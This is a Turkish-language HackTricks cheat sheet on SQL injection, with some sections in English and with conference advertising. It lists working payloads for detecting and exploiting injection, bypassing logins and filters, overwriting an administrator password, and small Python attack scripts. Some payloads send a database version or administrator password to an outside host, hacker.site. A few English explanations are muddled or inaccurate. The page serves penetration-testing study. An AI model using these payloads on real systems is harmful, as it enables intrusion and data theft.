38 KiB
SQL Injection
htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARI'na göz atın!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo'ya PR göndererek paylaşın.
RootedCON İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
SQL enjeksiyonu nedir?
Bir SQL enjeksiyonu, bir uygulamanın veritabanı sorgularına müdahale etmeyi sağlayan bir güvenlik açığıdır. Bu zafiyet, saldırganların, erişmemeleri gereken diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere erişmemeleri gereken verileri görüntülemelerine, değiştirmelerine veya silmelerine olanak tanır. Bu tür eylemler, uygulamanın işlevselliği veya içeriği üzerinde kalıcı değişikliklere veya hatta sunucunun veya hizmetin kullanılamaz hale gelmesine neden olabilir.
Giriş noktası tespiti
Bir site, SQL enjeksiyonuna (SQLi) karşı savunmasız görünüyorsa, SQLi ile ilgili girişlere alışılmadık sunucu yanıtları nedeniyle, ilk adım, sorguya müdahale etmeden veri enjekte etmeyi nasıl anlayacağımızı öğrenmektir. Bunun için mevcut bağlamdan etkili bir şekilde kaçınma yöntemini belirlemek gerekmektedir. İşte bazı faydalı örnekler:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Ardından, sorguyu hataları düzeltmek için nasıl düzelteceğinizi bilmelisiniz. Sorguyu düzeltmek için yeni verileri giriş yapabilirsiniz, veya sadece kendi verilerinizi girebilir ve sonuna bir yorum sembolü ekleyebilirsiniz.
Not edin ki, hata mesajlarını görebiliyorsanız veya bir sorgu çalışırken ve çalışmadığı zaman farklılıkları fark edebiliyorsanız, bu aşama daha kolay olacaktır.
Yorumlar
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Mantıksal işlemlerle doğrulama
Bir SQL enjeksiyon açığı doğrulamak için güvenilir bir yöntem, bir mantıksal işlem gerçekleştirip beklenen sonuçları gözlemlemektir. Örneğin, ?username=Peter
gibi bir GET parametresi, ?username=Peter' or '1'='1
şeklinde değiştirildiğinde aynı içeriği üretiyorsa, bu bir SQL enjeksiyon açığına işaret eder.
Benzer şekilde, matematiksel işlemlerin uygulanması etkili bir doğrulama tekniği olarak kullanılabilir. Örneğin, ?id=1
ve ?id=2-1
erişimleri aynı sonucu üretiyorsa, bu bir SQL enjeksiyonunun varlığını gösterir.
Mantıksal işlem doğrulamasını gösteren örnekler:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Bu kelime listesi, önerilen yöntemle SQL enjeksiyonlarını doğrulamak için oluşturulmuştur:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
Zamanlama ile Doğrulama
Bazı durumlarda, test ettiğiniz sayfada herhangi bir değişiklik fark etmeyebilirsiniz. Bu nedenle, kör SQL enjeksiyonlarını keşfetmenin iyi bir yolu, veritabanının eylemler gerçekleştirmesini sağlamak ve sayfanın yüklenme süresine etkisi olacak bir işlemi SQL sorgusuna birleştirmektir.
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
Bazı durumlarda sleep fonksiyonlarına izin verilmeyebilir. Bu durumda, bu fonksiyonları kullanmak yerine sorguyu birkaç saniye sürecek karmaşık işlemler gerçekleştiren şekilde yapabilirsiniz. Bu tekniklerin örnekleri, her bir teknoloji için ayrı ayrı açıklanacaktır (varsa).
Arka Uç Tanımlama
Arka ucu tanımlamanın en iyi yolu, farklı arka uçların fonksiyonlarını çalıştırmayı denemektir. Önceki bölümdeki sleep fonksiyonlarını veya bu tablodaki yöntemleri kullanabilirsiniz (payloadsallthethings tablosu):
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Ayrıca, sorgunun çıktısına erişiminiz varsa, veritabanının sürümünü yazdırabilirsiniz.
{% hint style="info" %} Devamında farklı türde SQL Injection'ları sömürmek için farklı yöntemleri tartışacağız. Örnek olarak MySQL kullanacağız. {% endhint %}
PortSwigger ile Tespit Etme
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
Birleştirme Tabanlı Sömürme
Sütun Sayısını Belirleme
Eğer sorgunun çıktısını görebiliyorsanız, bunu sömürmek için en iyi yol budur.
İlk olarak, başlangıç isteğinin döndürdüğü sütunların sayısını bulmamız gerekiyor. Çünkü her iki sorgu da aynı sayıda sütun döndürmelidir.
Bu amaçla genellikle iki yöntem kullanılır:
Sıralama/Gruplama ile
Bir sorgunun sütun sayısını belirlemek için, ORDER BY veya GROUP BY ifadelerinde kullanılan sayıyı artırarak yanıt alınamayana kadar ayarlayın. SQL içinde GROUP BY ve ORDER BY'ın farklı işlevleri olmasına rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Sorgu doğru olana kadar daha fazla null değeri seçin:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
null
değerlerini kullanmalısınız çünkü bazı durumlarda sorgunun her iki tarafındaki sütunların türü aynı olmalıdır ve null her durumda geçerlidir.
Veritabanı adlarını, tablo adlarını ve sütun adlarını çıkarma
Aşağıdaki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo adını ve tablonun sütun adlarını alacağız:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Her farklı veritabanında bu verileri keşfetmek için farklı bir yöntem vardır, ancak her zaman aynı metodoloji kullanılır.
Gizli Birleştirme Tabanlı Sömürme
Bir sorgunun çıktısı görünürken birleştirme tabanlı bir enjeksiyonun gerçekleştirilemez gibi görünmesi, gizli birleştirme tabanlı bir enjeksiyonun varlığını gösterir. Bu senaryo genellikle kör bir enjeksiyon durumuna yol açar. Kör bir enjeksiyonu birleştirme tabanlı bir enjeksiyona dönüştürmek için, arka uçta yürütülen sorgunun belirlenmesi gerekmektedir.
Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurmanız önerilir.
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatmak için payload'ınızı özelleştirmeniz gerekmektedir. Ardından, payload'ınıza birleştirme sorgusu eklenir ve yeni erişilebilir birleştirme tabanlı enjeksiyonun sömürülmesi kolaylaştırılır.
Daha kapsamlı bilgilere ulaşmak için Healing Blind Injections adlı tam makaleye başvurun.
Hata Tabanlı Sömürme
Eğer bir nedenden dolayı sorgunun çıktısını göremiyorsanız ancak hata mesajlarını görebiliyorsanız, bu hata mesajlarını kullanarak veritabanından veri sızdırabilirsiniz.
Birleştirme tabanlı sömürüde olduğu gibi benzer bir akışı takip ederek veritabanını dökümleyebilirsiniz.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Kör SQLi Sömürüsü
Bu durumda, sorgunun sonuçlarını veya hataları göremeseniz de, sorgunun doğru bir yanıt mı yoksa yanlış bir yanıt mı döndürdüğünü ayırt edebilirsiniz çünkü sayfada farklı içerikler bulunur.
Bu durumda, bu davranışı istismar ederek veritabanını karakter karakter dökümleyebilirsiniz:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Hata Tabanlı SQLi Sömürme
Bu, öncekiyle aynı durumdur, ancak sorgudan gelen doğru/yalancı yanıtları ayırt etmek yerine SQL sorgusunda bir hata olup olmadığını ayırt edebilirsiniz (belki de HTTP sunucusu çöktüğü için). Bu durumda, her doğru tahmini yaptığınızda bir SQL hatası zorlayabilirsiniz:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Zaman Temelli SQLi Sömürüsü
Bu durumda, sorgunun yanıtını sayfanın bağlamına göre ayırt etmenin bir yolu yoktur. Ancak, tahmin edilen karakter doğruysa sayfanın daha uzun sürede yüklenmesini sağlayabilirsiniz. Daha önce bir SQLi zafiyetini doğrulamak için bu teknik kullanıldığını görmüştük.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Yığılmış Sorgular
Yığılmış sorguları kullanarak ardışık olarak birden fazla sorguyu yürütebilirsiniz. İkinci bir sorgu kullanarak DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebileceğiniz kör zafiyetler ile ilgili olarak bu teknik öncelikle kullanışlıdır. Ancak, ardışık sorguların yürütülmesine rağmen, sonuçlar uygulamaya geri döndürülmez.
Oracle, yığılmış sorguları desteklemez. MySQL, Microsoft ve PostgreSQL ise destekler: BURAYA-SORGU-1; BURAYA-SORGU-2
Dışarıdan Sömürü
Eğer başka bir sömürü yöntemi işe yaramazsa, veritabanının bilgileri sizin kontrolünüzde olan harici bir sunucuya çıkarmasını sağlamayı deneyebilirsiniz. Örneğin, DNS sorguları aracılığıyla:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXE ile Veri Sızdırma Yoluyla Bağlantı Dışı Veri Çalma
XXE (XML External Entity) saldırısı, bir web uygulamasının XML işleme işlevselliğini kötüye kullanarak hassas verilerin sızdırılmasına olanak tanır. Bu saldırı türü, hedef uygulamanın dışarıya çıkış yapmasına izin veren bir XXE zafiyeti bulunduğunda kullanılabilir.
Bu saldırı türünde, saldırgan XML dökümanına özel bir dış varlık (external entity) ekler. Bu dış varlık, saldırganın kontrolündeki bir sunucuya veya hedef dışında başka bir hedefe bağlantı kurabilir. Saldırgan, bu bağlantıyı kullanarak hassas verileri hedef uygulamadan çalabilir ve dışarıya aktarabilir.
XXE saldırısının bir varyasyonu olan "Out of band data exfiltration" ise, verilerin hedef uygulama dışında başka bir yolla çalınmasını sağlar. Bu yöntemde, saldırgan, dışarıya çıkartılan verileri hedef uygulamadan bağımsız bir şekilde alabilir. Örneğin, saldırgan, çalınan verileri kendi kontrolündeki bir sunucuya POST veya GET isteğiyle gönderebilir.
Bu saldırı türü, hedef uygulamanın ağa erişimi olmayan bir ortamda çalıştığı durumlarda kullanışlı olabilir. Ayrıca, hedef uygulamanın güvenlik önlemleri tarafından tespit edilmesi daha zor olabilir.
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Otomatik Sömürü
SQLi zafiyetini sqlmap ile sömürmek için SQLMap Hile Sayfası kontrol edin.
Teknik özel bilgiler
SQL Injection zafiyetini sömürmek için tüm yolları zaten tartıştık. Bu kitapta veritabanı teknolojisine bağlı olarak daha fazla hile bulabilirsiniz:
Veya MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok hile https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection adresinde bulabilirsiniz.
RootedCON, İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'nın en önemli etkinliklerinden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
Kimlik doğrulama atlatma
Giriş işlevselliğini atlatmaya çalışmak için aşağıdaki listeyi deneyin:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
Ham hash kimlik doğrulama Atlatma
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Bu sorgu, kimlik doğrulama kontrollerinde MD5'in true ile kullanılması durumunda ortaya çıkan bir güvenlik açığını sergiler. Sistem, SQL enjeksiyonuna karşı savunmasız hale gelir. Saldırganlar, girişleri özel olarak oluşturarak, karma işlemi sonucunda beklenmeyen SQL komut parçalarının oluşmasını sağlayabilir ve bu da yetkisiz erişime yol açabilir.
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
Enjekte edilmiş hash kimlik doğrulaması Atlatma
Bu teknik, SQL enjeksiyonu kullanarak bir web uygulamasında hash tabanlı kimlik doğrulamasını atlatmayı amaçlar. Hash tabanlı kimlik doğrulaması, kullanıcıların parolalarını veritabanında depolamak yerine, parolaların hash değerlerini depolayarak güvenlik sağlar. Ancak, bu teknik, saldırganın bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.
Bu saldırı, kullanıcının kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL enjeksiyonu ekleyerek gerçekleştirilir. Saldırgan, kullanıcının kimlik doğrulamasını atlatmak için bir hash değeri yerine bir SQL ifadesi enjekte eder. Bu, saldırganın istediği herhangi bir kullanıcının kimlik doğrulamasını atlatmasına olanak tanır.
Bu saldırıyı gerçekleştirmek için, saldırganın hedef web uygulamasında SQL enjeksiyonu açığı bulması gerekir. SQL enjeksiyonu açığı bulunduktan sonra, saldırgan, kimlik doğrulaması için kullanılan SQL sorgusuna bir SQL ifadesi enjekte ederek hash tabanlı kimlik doğrulamasını atlatır.
Bu saldırıyı önlemek için, web uygulamalarının güvenli kodlama uygulamalarını takip etmesi ve kullanıcı girişlerini doğru bir şekilde işlemesi önemlidir. Ayrıca, parametrelerin doğru bir şekilde sorguya eklenmesi ve kullanıcı girişlerinin doğrulanması da önemlidir.
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Önerilen liste:
Her satırı kullanıcı adı olarak kullanmalısınız ve her zaman şifre olarak: Pass1234.
(Bu payloadlar, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
GBK Kimlik Doğrulama Atlama
Eğer ' karakteri kaçırılıyorsa, %A8%27 kullanabilirsiniz ve ' karakteri kaçırıldığında şu şekilde oluşturulur: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests
def sql_injection(url, payload):
# Construct the SQL injection payload
payload = f"' OR {payload} -- "
# Send the request with the payload
response = requests.get(url + payload)
# Check if the response indicates a successful SQL injection
if "Error" in response.text:
print("SQL injection successful!")
else:
print("SQL injection failed.")
# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Poliglot enjeksiyon (çoklu bağlam)
Polyglot injection, bir SQL enjeksiyon saldırısı tekniğidir ve birden fazla veritabanı yönetim sistemi (DBMS) tarafından yorumlanabilen bir SQL ifadesi oluşturmayı amaçlar. Bu, saldırganın farklı DBMS'lerde aynı enjeksiyonu kullanarak birden fazla hedefe saldırabilmesini sağlar.
Polyglot enjeksiyon, farklı DBMS'lerin farklı yorumlama kurallarını kullanarak çalışır. Bu nedenle, saldırgan, hedef DBMS'ye bağlı olarak uygun bir SQL ifadesi oluşturabilir. Bu teknik, saldırganın hedef DBMS'nin türünü belirlemesine gerek kalmadan saldırı yapmasını sağlar.
Polyglot enjeksiyon, saldırganın hedef DBMS'nin türünü bilmediği durumlarda özellikle kullanışlıdır. Bu teknik, saldırganın saldırı yüzeyini genişletmesine ve birden fazla hedefe saldırmasına olanak tanır. Ancak, her DBMS'nin farklı yorumlama kuralları olduğu için, polyglot enjeksiyonun başarılı olması için dikkatli bir şekilde planlanması ve test edilmesi gerekmektedir.
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert İfadesi
Mevcut nesne/kullanıcının şifresini değiştirme
Bunu yapmak için, muhtemelen kullanıcılar için "ana nesne" olarak adlandırılan bir nesne oluşturmayı denemelisiniz (muhtemelen admin):
- AdMIn adında bir kullanıcı oluşturun (büyük ve küçük harflerle)
- admin= adında bir kullanıcı oluşturun
- SQL Kırpma Saldırısı (kullanıcı adında veya e-postada bir uzunluk sınırı olduğunda) --> admin [çok fazla boşluk] adında bir kullanıcı oluşturun
SQL Kırpma Saldırısı
Veritabanı savunmasızsa ve kullanıcı adı için maksimum karakter sayısı örneğin 30 ise ve admin kullanıcısını taklit etmek istiyorsanız, "admin [30 boşluk] a" adında bir kullanıcı adı oluşturmayı deneyin ve herhangi bir şifre belirleyin.
Veritabanı, tanıtılan kullanıcı adının veritabanında var olup olmadığını kontrol edecektir. Eğer yoksa, kullanıcı adını maksimum izin verilen karakter sayısına kadar kesecek (bu durumda "admin [25 boşluk]" olacak) ve ardından veritabanında kullanıcı "admin"i yeni şifreyle güncelleyerek tüm boşlukları otomatik olarak kaldıracaktır (bazı hatalar oluşabilir, ancak bu çalışmadığı anlamına gelmez).
Daha fazla bilgi için: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Not: Bu saldırı, en son MySQL kurulumlarında yukarıda açıklandığı gibi artık çalışmayacaktır. Karşılaştırmalar hala varsayılan olarak sondaki boşlukları görmezden gelirken, bir alanın uzunluğundan daha uzun bir dize eklemeye çalışmak bir hataya neden olacak ve ekleme başarısız olacaktır. Bu kontrol hakkında daha fazla bilgi için: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert zaman tabanlı kontrol
VALUES ifadesinden çıkmak için düşündüğünüz kadar ','',''
ekleyin. Gecikme gerçekleşirse, bir SQL Injection'a sahipsiniz.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL'deki ON DUPLICATE KEY UPDATE
ifadesi, bir UNIQUE indeks veya PRIMARY KEY'de yinelenen bir değer oluşturacak bir satır eklemeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek amacıyla nasıl istismar edilebileceğini göstermektedir:
Örnek Enjeksiyon Payloağı:
Bir enjeksiyon payloağı aşağıdaki gibi oluşturulabilir, burada users
tablosuna iki satır eklenmeye çalışılır. İlk satır bir tuzak, ikinci satır ise mevcut bir yöneticinin e-postasını hedefleyerek şifrenin güncellenmesi amacıyla kullanılır:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
İşleyişi şu şekildedir:
- Sorgu,
generic_user@example.com
için bir satır veadmin_generic@example.com
için başka bir satır eklemeye çalışır. - Eğer
admin_generic@example.com
için bir satır zaten mevcutsa,ON DUPLICATE KEY UPDATE
ifadesi tetiklenir ve MySQL'e mevcut satırınpassword
alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir. - Sonuç olarak, kimlik doğrulama, "bcrypt_hash_of_newpassword" ile eşleşen şifreyle
admin_generic@example.com
kullanarak denenebilir. ("bcrypt_hash_of_newpassword", istenen şifrenin bcrypt hash'inin gerçek hash ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
Bilgi çıkarma
Aynı anda 2 hesap oluşturma
Yeni bir kullanıcı ve kullanıcı adı, şifre ve e-posta oluşturmak için gereklidir:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Onluk veya onaltılık kullanma
Bu teknikle sadece 1 hesap oluşturarak bilgi çıkarabilirsiniz. Unutulmaması gereken önemli bir nokta, herhangi bir yorum yapmanıza gerek olmadığıdır.
hex2dec ve substr kullanarak:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Metni almak için şunu kullanabilirsiniz:
__import__('binascii').unhexlify(hex(215573607263)[2:])
hex ve replace (ve substr) kullanarak:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCON İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
Routed SQL enjeksiyonu
Routed SQL enjeksiyonu, enjekte edilebilir sorgunun çıktıyı veren sorgu olmadığı durumlarda ortaya çıkar, ancak enjekte edilebilir sorgunun çıktısı çıktıyı veren sorguya gider. (Makaleden)
Örnek:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Geçişi
Boşluk geçişi
Boşluk Yok (%20) - boşluk alternatifleri kullanarak geçiş yapma
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
SQL Injection: Whitespace Bypass Using Comments
In some cases, SQL injection payloads may be blocked or filtered based on the presence of whitespace characters. However, it is possible to bypass these restrictions by using comments within the SQL injection payload.
Technique
To bypass whitespace restrictions, you can use comments to effectively remove the whitespace characters from the payload. The following techniques can be used:
Single-line Comments
In SQL, single-line comments start with --
and continue until the end of the line. By using single-line comments, you can remove the whitespace characters from the payload.
For example, consider the following SQL injection payload:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'password'
In this payload, the comment --'
effectively removes the whitespace characters before the AND
keyword, allowing the injection to bypass the whitespace restriction.
Multi-line Comments
In SQL, multi-line comments start with /*
and end with */
. By using multi-line comments, you can remove multiple whitespace characters from the payload.
For example, consider the following SQL injection payload:
SELECT * FROM users WHERE username = 'admin'/* AND password = 'password' */
In this payload, the multi-line comment /* AND password = 'password' */
effectively removes the whitespace characters before and after the AND
keyword, allowing the injection to bypass the whitespace restriction.
Conclusion
By using comments within SQL injection payloads, you can bypass whitespace restrictions and successfully execute SQL injection attacks. However, it is important to note that this technique may not work in all scenarios, as it depends on the specific implementation and filtering mechanisms in place.
?id=1/*comment*/and/**/1=1/**/--
SQL Injection - Bypassing No Whitespace Filters using Parenthesis
When performing SQL injection attacks, it is common for web applications to implement filters that block certain characters, such as whitespaces. These filters are designed to prevent attackers from injecting malicious SQL code into the application.
However, in some cases, it is still possible to bypass these filters and successfully execute SQL injection attacks. One technique to achieve this is by using parentheses.
Bypassing No Whitespace Filters
Let's assume that the application is filtering whitespaces and does not allow them in user input. For example, the following SQL query is used to retrieve user information:
SELECT * FROM users WHERE username='[USER_INPUT]' AND password='[PASSWORD]'
To bypass the no whitespace filter, we can use parentheses to separate the SQL keywords and concatenate the injected code. Here's an example:
SELECT * FROM users WHERE username='admin' AND (1=1) OR '1'='1'--' AND password='[PASSWORD]'
In this example, we use parentheses to separate the injected code (1=1) OR '1'='1'
from the rest of the query. The double dash --
is used to comment out the remaining part of the original query.
By using this technique, we can bypass the no whitespace filter and successfully execute the injected SQL code.
Conclusion
When faced with a no whitespace filter, using parentheses can be an effective technique to bypass the filter and successfully perform SQL injection attacks. However, it is important to note that each application may have different filters and security measures in place, so it is crucial to thoroughly test and understand the application's behavior before attempting any SQL injection attacks.
?id=(1)and(1)=(1)--
Virgül Bypassı
Virgül Bypassı - OFFSET, FROM ve JOIN kullanarak bypass yapma
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Genel Geçişler
Anahtar kelimeleri kullanarak siyah liste - büyük/küçük harf kullanarak geçiş yapma
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist using keywords case insensitive - bypass using an equivalent operator
Introduction
In some cases, web applications implement a blacklist to prevent SQL injection attacks. This blacklist typically consists of keywords that are commonly associated with SQL injection. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.
Bypassing a Case-Insensitive Blacklist
To bypass a case-insensitive blacklist, you can use an equivalent operator that achieves the same result as the blocked keyword. Here are some examples:
- If the keyword "OR" is blocked, you can use the equivalent operator "||" to achieve the same logical operation.
- If the keyword "AND" is blocked, you can use the equivalent operator "&&" to achieve the same logical operation.
- If the keyword "UNION" is blocked, you can use the equivalent operator "UNION ALL" to achieve the same result.
By using these equivalent operators, you can bypass the case-insensitive blacklist and successfully perform SQL injection attacks.
Conclusion
Implementing a case-insensitive blacklist to prevent SQL injection attacks can be bypassed by using equivalent operators. It is important for web application developers to be aware of this vulnerability and implement proper input validation and parameterized queries to mitigate the risk of SQL injection.
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
